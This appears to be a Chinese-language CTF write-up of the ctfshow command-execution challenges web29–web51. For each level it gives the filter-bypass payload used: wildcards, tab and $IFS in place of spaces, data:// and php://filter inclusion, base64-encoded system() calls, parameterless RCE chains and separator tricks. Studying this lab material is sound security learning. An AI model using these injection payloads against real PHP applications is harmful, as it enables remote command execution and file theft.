Ctfshow 命令执行 web29
pregmatch
是正则匹配函数,匹配是否包含flag,if(!preg_match("/flag/i", $c))
,/i
忽略大小写
可以利用system来间接执行系统命令
flag采用f*
绕过,或者mv fl?g.php 1.txt
修改文件名,或者cat 反引号ls反引号
linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html
Ctfshow 命令执行 web30
多了对system和php的过滤
用*
绕过和passthru
Ctfshow 命令执行 web31
过滤flag
system
php
cat
sort
shell
.
空格
'
过滤了空格,可以使用%09
替代;也可以使用{$IFS}
或者$IFS$1
传参如下:
?c=passthru("tac%09fla*");
Ctfshow 命令执行 web32
过滤flag
system
php
cat
sort
shell
.
空格
'
反引号
echo
之前的方法都没有用了。无所谓,文件包含会出手。
https://www.cnblogs.com/endust/p/11804767.html
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Ctfshow 命令执行 web33
又加了(
和"
的过滤,没事,文件包含还能出手。
Payload:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
此外,这里日志包含也是可行的。
Ctfshow 命令执行 web34
好的这下:
也被过滤了。没事,文件包含还能出手。
Payload:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
Ctfshow 命令执行 web35
<
和=
也被过滤了,没关系,文件包含还能出手
Payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Ctfshow 命令执行 web36
加了对/
和数字0-9
的过滤,还是文件包含,一样的payload。
Ctfshow 命令执行 web37
好家伙直接给我文件包含了是吧
Payload: (采用了base64编码绕过过滤)
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
//(<?php system("tac flag.php");?>)
Ctfshow 命令执行 web38
Payload不变。
Ctfshow 命令执行 web39
虽然强加了后缀,但是不影响。因为?>
已经闭合PHP语句了。
?c=data://text/plain,<?php system("tac fla*.php");?>
Ctfshow 命令执行 web40
过滤了很多东西。只有空格,分号,英文括号还可以用。
看了一下wp(https://blog.csdn.net/Kracxi/article/details/121041140),果然无能为力。这题考察无参RCE。
两种payload。
?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
以下是我解题过程中学习整理的关于无参RCE的函数实操等。(部分借鉴付劲远师傅的web思维导图)
除了无参RCE,还有个利用session的方法。
payload:
?c=session_start();system(session_id());
session_id(PHPSESSID)就是要执行的命令。
但是这个方法有个弊端,命令不能有空格,因为cookie不解析空格。
Ctfshow 命令执行 web41
无字母数字rce原理:利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说system,然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。(https://www.cnblogs.com/pursue-security/p/15404150.html)
代码审计,没有过滤或(|)。跑个脚本吧(脚本小子就是我了)
查看目录。
Ctfshow 命令执行 web42
先看源码,一个新东西>/dev/null 2>&1
含义:
1>/dev/null
:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
>
代表重定向到哪里,例如:echo “123” > /home/123.txt
1
表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2
表示stderr标准错误
&
表示等同于的意思,2>&1,表示2的输出重定向等同于1
绕过方法就是在命令后面加截断命令 ;
或 %0a
或 %26(&)
或 ||
。具体原理就是重定向也是命令的一部分。比如说 命令1;命令2 1>/dev/null
就是执行了命令1
和命令2 1>/dev/null
,虽然命令2被重定向了,但是命令1没有。
Ctfshow 命令执行 web43
过滤了分隔符;那可以换成别的分隔符。对cat的过滤可以用tac,nl替代,或者用各种转义符\
、'
、"
。
Payload:
?c=tac flag.php%26
Ctfshow 命令执行 web44
加了一个对flag
的过滤,我们用转义符绕过。
Payload:
?c=nl%20fl\ag.php||
Ctfshow 命令执行 web45
加了对空格
的过滤,用%09
代替。
Payload:
?c=tac%09fla*||
Ctfshow 命令执行 web46
2023.8.16时隔半年,强迫症迫使我把基础给算完。
增加了对数字
、*
、$
的过滤,空格可以用<>
或者<
或者%09
代替(%09是URL编码,不是数字),过滤了通配符*
但是?
也不能用了,所以flag
用转义符\
或者''
。
payload:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
发现一个奇怪的payload:这里通配符?
又可以用了,弄得我满脸问号?????后来去查了一下,是因为**<
和?
不能同时用**,上面的payload改成c=tac%09fla?.php||
就好啦
?c=awk%09'/f/'%09fla?.php||
等价于?c=awk%09'/f/{print}'%09fla?.php||
确实能用,解释一下。这个payload就是输出flag.php
文件中包含字符串f
的行。
如果我们把f
换成ctfshow
,那就只输出flag了。
参考文章:
https://blog.csdn.net/Dark_Tk/article/details/114844529
Ctfshow 命令执行 web47
又多过滤了一些命令执行函数more
less
head
sort
tail
。但是没过滤我最喜欢的tac
、nl
和awk
。
payload不变:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
?c=awk%09'/f/'%09fla?.php||
Ctfshow 命令执行 web48
再多过滤了一些命令执行函数sed
cut
awk
strings
od
curl
和反引号
。但是没过滤我最喜欢的tac
和nl
。
payload不变:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
Ctfshow 命令执行 web49
多过滤了百分号%
,对我的payload没影响,我空格是用<
绕过的。
payload不变:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
Ctfshow 命令执行 web50
多过滤了\x09
(水平制表符tab)和\x26
(&),对我的payload没影响。
payload不变:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
Ctfshow 命令执行 web51
多过滤了tac
,payload还有一个能用。
payload不变:
?c=nl<fla''g.php|| //在源码里面